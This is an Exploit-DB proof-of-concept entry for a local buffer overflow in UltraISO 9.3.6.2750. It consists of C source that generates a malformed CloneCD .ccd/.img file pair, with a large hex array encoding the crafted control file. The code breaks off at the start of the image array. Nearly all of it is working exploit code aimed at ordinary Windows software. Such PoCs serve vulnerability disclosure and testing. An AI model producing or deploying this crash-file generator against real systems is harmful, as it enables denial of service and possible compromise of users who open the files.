Exploit-DB #11363
Description: UltraISO 9.3.6.2750 - Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2010-02-09
Author: fl0 fl0w

Exploit:
/*ccd overflow string=10974 bytes
 img file size=109974 bytes
 ccd file size=11812
*/
#include<stdio.h>
#include<string.h>
#include<getopt.h>
void print(char*);
unsigned int getFsize(FILE*,char*);
void gen_random(char*,const int);
void exploit(char*,char*);
#define IM           "testf.img"
#define CC           "testf.ccd"
#define VER          "9.3.6.2750"
#define POCNAME         "Ultraiso local buffer overflow POC(0day)"
#define AUTHOR          "fl0 fl0w"
#define IF(x,NULL)      if(x==NULL)
#define FOR(i,a,b)      for(i=a;i<b;++i)
 char ccd[]=
{
    0x5B, 0x43, 0x6C, 0x6F, 0x6E, 0x65, 0x43, 0x44, 0x5D, 0x0D, 0x0D, 0x0A, 0x56, 0x65, 0x72, 0x73, 
    0x69, 0x6F, 0x6E, 0x3D, 0x33, 0x0D, 0x0D, 0x0A, 0x5B, 0x44, 0x69, 0x73, 0x63, 0x5D, 0x0D, 0x0D, 
    0x0A, 0x54, 0x6F, 0x63, 0x45, 0x6E, 0x74, 0x72, 0x69, 0x65, 0x73, 0x3D, 0x34, 0x0D, 0x0D, 0x0A, 
    0x53, 0x65, 0x73, 0x73, 0x69, 0x6F, 0x6E, 0x73, 0x3D, 0x31, 0x0D, 0x0D, 0x0A, 0x44, 0x61, 0x74, 
    0x61, 0x54, 0x72, 0x61, 0x63, 0x6B, 0x73, 0x53, 0x63, 0x72, 0x61, 0x6D, 0x62, 0x6C, 0x65, 0x64, 
    0x3D, 0x30, 0x0D, 0x0D, 0x0A, 0x43, 0x44, 0x54, 0x65, 0x78, 0x74, 0x4C, 0x65, 0x6E, 0x67, 0x74, 
    0x68, 0x3D, 0x30, 0x0D, 0x0D, 0x0A, 0x5B, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6F, 0x6E, 0x20, 0x31, 
    0x5D, 0x0D, 0x0D, 0x0A, 0x50, 0x72, 0x65, 0x47, 0x61, 0x70, 0x4D, 0x6F, 0x64, 0x65, 0x3D, 0x31, 
    0x0D, 0x0D, 0x0A, 0x50, 0x72, 0x65, 0x47, 0x61, 0x70, 0x53, 0x75, 0x62, 0x43, 0x3D, 0x30, 0x0D, 
    0x0D, 0x0A, 0x5B, 0x45, 0x6E, 0x74, 0x72, 0x79, 0x20, 0x30, 0x5D, 0x0D, 0x0D, 0x0A, 0x53, 0x65, 
    0x73, 0x73, 0x69, 0x6F, 0x6E, 0x3D, 0x31, 0x0D, 0x0D, 0x0A, 0x50, 0x6F, 0x69, 0x6E, 0x74, 0x3D, 
    0x30, 0x78, 0x61, 0x30, 0x0D, 0x0D, 0x0A, 0x41, 0x44, 0x52, 0x3D, 0x30, 0x78, 0x30, 0x31, 0x0D, 
    0x0D, 0x0A, 0x43, 0x6F, 0x6E, 0x74, 0x72, 0x6F, 0x6C, 0x3D, 0x30, 0x78, 0x30, 0x34, 0x0D, 0x0D, 
    0x0A, 0x54, 0x72, 0x61, 0x63, 0x6B, 0x4E, 0x6F, 0x3D, 0x30, 0x0D, 0x0D, 0x0A, 0x41, 0x4D, 0x69, 
    0x6E, 0x3D, 0x30, 0x0D, 0x0D, 0x0A, 0x41, 0x53, 0x65, 0x63, 0x3D, 0x30, 0x0D, 0x0D, 0x0A, 0x41, 
    0x46, 0x72, 0x61, 0x6D, 0x65, 0x3D, 0x30, 0x0D, 0x0D, 0x0A, 0x41, 0x4C, 0x42, 0x41, 0x3D, 0x2D, 
    0x31, 0x35, 0x30, 0x0D, 0x0D, 0x0A, 0x5A, 0x65, 0x72, 0x6F, 0x3D, 0x30, 0x0D, 0x0D, 0x0A, 0x50, 
    0x4D, 0x69, 0x6E, 0x3D, 0x31, 0x0D, 0x0D, 0x0A, 0x50, 0x53, 0x65, 0x63, 0x3D, 0x30, 0x0D, 0x0D, 
    0x0A, 0x50, 0x46, 0x72, 0x61, 0x6D, 0x65, 0x3D, 0x30, 0x0D, 0x0D, 0x0A, 0x50, 0x4C, 0x42, 0x41, 
    0x3D, 0x34, 0x33, 0x35, 0x30, 0x0D, 0x0D, 0x0A, 0x5B, 0x45, 0x6E, 0x74, 0x72, 0x79, 0x20, 0x31, 
    0x5D, 0x0D, 0x0D, 0x0A, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6F, 0x6E, 0x3D, 0x31, 0x0D, 0x0D, 0x0A, 
    0x50, 0x6F, 0x69, 0x6E, 0x74, 0x3D, 0x30, 0x78, 0x61, 0x31, 0x0D, 0x0D, 0x0A, 0x41, 0x44, 0x52, 
    0x3D, 0x30, 0x78, 0x30, 0x31, 0x0D, 0x0D, 0x0A, 0x43, 0x6F, 0x6E, 0x74, 0x72, 0x6F, 0x6C, 0x3D, 
    0x30, 0x78, 0x30, 0x34, 0x0D, 0x0D, 0x0A, 0x54, 0x72, 0x61, 0x63, 0x6B, 0x4E, 0x6F, 0x3D, 0x30, 
    0x0D, 0x0D, 0x0A, 0x41, 0x4D, 0x69, 0x6E, 0x3D, 0x30, 0x0D, 0x0D, 0x0A, 0x41, 0x53, 0x65, 0x63, 
    0x3D, 0x30, 0x0D, 0x0D, 0x0A, 0x41, 0x46, 0x72, 0x61, 0x6D, 0x65, 0x3D, 0x30, 0x0D, 0x0D, 0x0A, 
    0x41, 0x4C, 0x42, 0x41, 0x3D, 0x2D, 0x31, 0x35, 0x30, 0x0D, 0x0D, 0x0A, 0x5A, 0x65, 0x72, 0x6F, 
    0x3D, 0x30, 0x0D, 0x0D, 0x0A, 0x50, 0x4D, 0x69, 0x6E, 0x3D, 0x31, 0x0D, 0x0D, 0x0A, 0x50, 0x53, 
    0x65, 0x63, 0x3D, 0x30, 0x0D, 0x0D, 0x0A, 0x50, 0x46, 0x72, 0x61, 0x6D, 0x65, 0x3D, 0x30, 0x0D, 
    0x0D, 0x0A, 0x50, 0x4C, 0x42, 0x41, 0x3D, 0x34, 0x33, 0x35, 0x30, 0x0D, 0x0D, 0x0A, 0x5B, 0x45, 
    0x6E, 0x74, 0x72, 0x79, 0x20, 0x32, 0x5D, 0x0D, 0x0D, 0x0A, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6F, 
    0x6E, 0x3D, 0x31, 0x0D, 0x0D, 0x0A, 0x50, 0x6F, 0x69, 0x6E, 0x74, 0x3D, 0x30, 0x78, 0x61, 0x32, 
    0x0D, 0x0D, 0x0A, 0x41, 0x44, 0x52, 0x3D, 0x30, 0x78, 0x30, 0x31, 0x0D, 0x0D, 0x0A, 0x43, 0x6F, 
    0x6E, 0x74, 0x72, 0x6F, 0x6C, 0x3D, 0x30, 0x78, 0x30, 0x34, 0x0D, 0x0D, 0x0A, 0x54, 0x72, 0x61, 
    0x63, 0x6B, 0x4E, 0x6F, 0x3D, 0x30, 0x0D, 0x0D, 0x0A, 0x41, 0x4D, 0x69, 0x6E, 0x3D, 0x30, 0x0D, 
    0x0D, 0x0A, 0x41, 0x53, 0x65, 0x63, 0x3D, 0x30, 0x0D, 0x0D, 0x0A, 0x41, 0x46, 0x72, 0x61, 0x6D, 
    0x65, 0x3D, 0x30, 0x0D, 0x0D, 0x0A, 0x41, 0x4C, 0x42, 0x41, 0x3D, 0x2D, 0x31, 0x35, 0x30, 0x0D, 
    0x0D, 0x0A, 0x5A, 0x65, 0x72, 0x6F, 0x3D, 0x30, 0x0D, 0x0D, 0x0A, 0x50, 0x4D, 0x69, 0x6E, 0x3D, 
    0x30, 0x0D, 0x0D, 0x0A, 0x50, 0x53, 0x65, 0x63, 0x3D, 0x32, 0x0D, 0x0D, 0x0A, 0x50, 0x46, 0x72, 
    0x61, 0x6D, 0x65, 0x3D, 0x33, 0x34, 0x0D, 0x0D, 0x0A, 0x50, 0x4C, 0x42, 0x41, 0x3D, 0x33, 0x34, 
    0x0D, 0x0D, 0x0A, 0x5B, 0x45, 0x6E, 0x74, 0x72, 0x79, 0x20, 0x33, 0x5D, 0x0D, 0x0D, 0x0A, 0x53, 
    0x65, 0x73, 0x73, 0x69, 0x6F, 0x6E, 0x3D, 0x31, 0x0D, 0x0D, 0x0A, 0x50, 0x6F, 0x69, 0x6E, 0x74, 
    0x3D, 0x30, 0x78, 0x30, 0x31, 0x0D, 0x0D, 0x0A, 0x41, 0x44, 0x52, 0x3D, 0x30, 0x78, 0x30, 0x31, 
    0x0D, 0x0D, 0x0A, 0x43, 0x6F, 0x6E, 0x74, 0x72, 0x6F, 0x6C, 0x3D, 0x30, 0x78, 0x30, 0x34, 0x0D, 
    0x0D, 0x0A, 0x54, 0x72, 0x61, 0x63, 0x6B, 0x4E, 0x6F, 0x3D, 0x30, 0x0D, 0x0D, 0x0A, 0x41, 0x4D, 
    0x69, 0x6E, 0x3D, 0x30, 0x0D, 0x0D, 0x0A, 0x41, 0x53, 0x65, 0x63, 0x3D, 0x30, 0x0D, 0x0D, 0x0A, 
    0x41, 0x46, 0x72, 0x61, 0x6D, 0x65, 0x3D, 0x30, 0x0D, 0x0D, 0x0A, 0x41, 0x4C, 0x42, 0x41, 0x3D, 
    0x2D, 0x31, 0x35, 0x30, 0x0D, 0x0D, 0x0A, 0x5A, 0x65, 0x72, 0x6F, 0x3D, 0x30, 0x0D, 0x0D, 0x0A, 
    0x50, 0x4D, 0x69, 0x6E, 0x3D, 0x30, 0x0D, 0x0D, 0x0A, 0x50, 0x53, 0x65, 0x63, 0x3D, 0x32, 0x0D, 
    0x0D, 0x0A, 0x50, 0x46, 0x72, 0x61, 0x6D, 0x65, 0x3D, 0x30, 0x0D, 0x0D, 0x0A, 0x50, 0x4C, 0x42, 
    0x41, 0x3D, 0x30, 0x0D, 0x0D, 0x0A, 0x5B, 0x54, 0x52, 0x41, 0x43, 0x4B, 0x20, 0x31, 0x5D, 0x0D, 
    0x0D, 0x0A, 0x4D, 0x4F, 0x44, 0x45, 0x3D, 0x31, 0x0D, 0x0D, 0x0A, 0x49, 0x4E, 0x44, 0x45, 0x58, 
    0x20, 0x31, 0x3D, 0x39, 0x39, 0x39, 
} ;

  char img[]=
{
    0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,